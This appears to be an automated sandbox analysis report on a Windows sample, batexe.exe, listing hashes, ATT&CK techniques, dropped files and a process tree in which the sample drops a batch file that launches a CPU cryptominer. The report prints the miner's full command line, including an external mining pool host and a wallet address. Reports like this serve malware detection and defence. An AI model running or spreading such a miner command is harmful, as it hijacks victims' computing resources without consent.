73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
296s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 04:12

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2456	b2e.exe
3180	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3180	cpuminer-sse2.exe
3180	cpuminer-sse2.exe
3180	cpuminer-sse2.exe
3180	cpuminer-sse2.exe
3180	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3540-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 2456	3540	batexe.exe	87
PID 3540 wrote to memory of 2456	3540	batexe.exe	87
PID 3540 wrote to memory of 2456	3540	batexe.exe	87
PID 2456 wrote to memory of 820	2456	b2e.exe	89
PID 2456 wrote to memory of 820	2456	b2e.exe	89
PID 2456 wrote to memory of 820	2456	b2e.exe	89
PID 820 wrote to memory of 3180	820	cmd.exe	91
PID 820 wrote to memory of 3180	820	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Users\Admin\AppData\Local\Temp\630F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\630F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\630F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\65EE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\630F.tmp\b2e.exe

Filesize
16.6MB

MD5
5af4a177a3e17e97b685fb38a4ab34ef

SHA1
ff35a613a14f0c8aa349dc2be489804e4e827dd6

SHA256
7582ea678aec71d9282ad49cfb00c2e6f28a6c7ca8b577ec30a059abc8ad1f24

SHA512
97d1ffb449ef520a7aeb606737da5063f9447745ab1c9ea20bc58f6e6e42f012c751d4d844b2f40ace3081a4621fea8af2532241e7df2a52ab6906d2dc9e811b

Download Submit
C:\Users\Admin\AppData\Local\Temp\630F.tmp\b2e.exe

Filesize
7.6MB

MD5
48a50d4cd008dd779f6c72b67b190dfb

SHA1
4e31c74922ab3635db9324500930827b1f4ae8f0

SHA256
6a6d9dd3b17cfa6a06b689b23c6ab09b8894255d50737c3262c4c52f3112bab0

SHA512
b9e9504383540276120c45db7a94a31ff566164617f749474c8e3ac9cd07a84eed11dd848311d8954042c9523c62842456e3fbde0b4851111ebb316859f5bf05

Download Submit
C:\Users\Admin\AppData\Local\Temp\630F.tmp\b2e.exe

Filesize
9.2MB

MD5
16f8babc7dcf10a8e8d5650ba4685075

SHA1
8800ecba37d9a3bf8bbfb5a7153ebce6b231953e

SHA256
734c8ff77485b20e68258facec806fbc6d4bf2a41bc4adadd8547172d19e0cf7

SHA512
7dd43210cef9db6775e1989a4aeadb549574a251afa03d6fe432620c75d63b4a89ba49c8f0d224c6515e44cb887a93cc09372b8352d8051911755c24a866621e

Download Submit
C:\Users\Admin\AppData\Local\Temp\65EE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
5e9964856c9c7b41030b27565eae6668

SHA1
95e559883d2dcc0d12f1ef16e8b45af265088174

SHA256
62f92fc3f492b8c0a8275a6637a02f159d832778e89a5ba4eba087ae15330276

SHA512
74517b04ebf499d6ae45838836ddde53c1e4660a44de6702510d9e70744ad3fe32a42c9bafa1fadf4fd858be89843884f6b966d1a5cd4fc359af2031244146bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
f8f5fb4092524b62fa3308f3b5f8ce97

SHA1
f8d8be15bf8405144bd7e735839a0937f0bdce75

SHA256
8101b091131e0fc76bcd1ee299381fc927ce4db36b6be3229ff68f335e10a1ae

SHA512
1563e8476b53d66ee50c28b8cb6cfc2d582a1f7c7241ad779f9f326e74ed2882db21ce45c7fbccf2e6444ea810aef28bde9a6e4a853c25a7665c7ae3317527bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
27ac431d460cc87a913c01189600e8d2

SHA1
edaf5057f219649c3136b8c2ce1a00c44ea18708

SHA256
4875d96b57441a8e33ecb4efc8b582db9fca301f49b3c7d550136cfd7228fe65

SHA512
aa8acb29825c987d10b30f01138a72997dc52ad443e16669188abb384e3183d2d9452b30982da4bd4b9c22f12d221b619a895ea744b4f56ab159b4e35cbe2ef0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2456-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2456-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3180-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3180-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-45-0x0000000053720000-0x00000000537B8000-memory.dmp

Filesize
608KB

Download
memory/3180-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3180-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3180-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3180-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download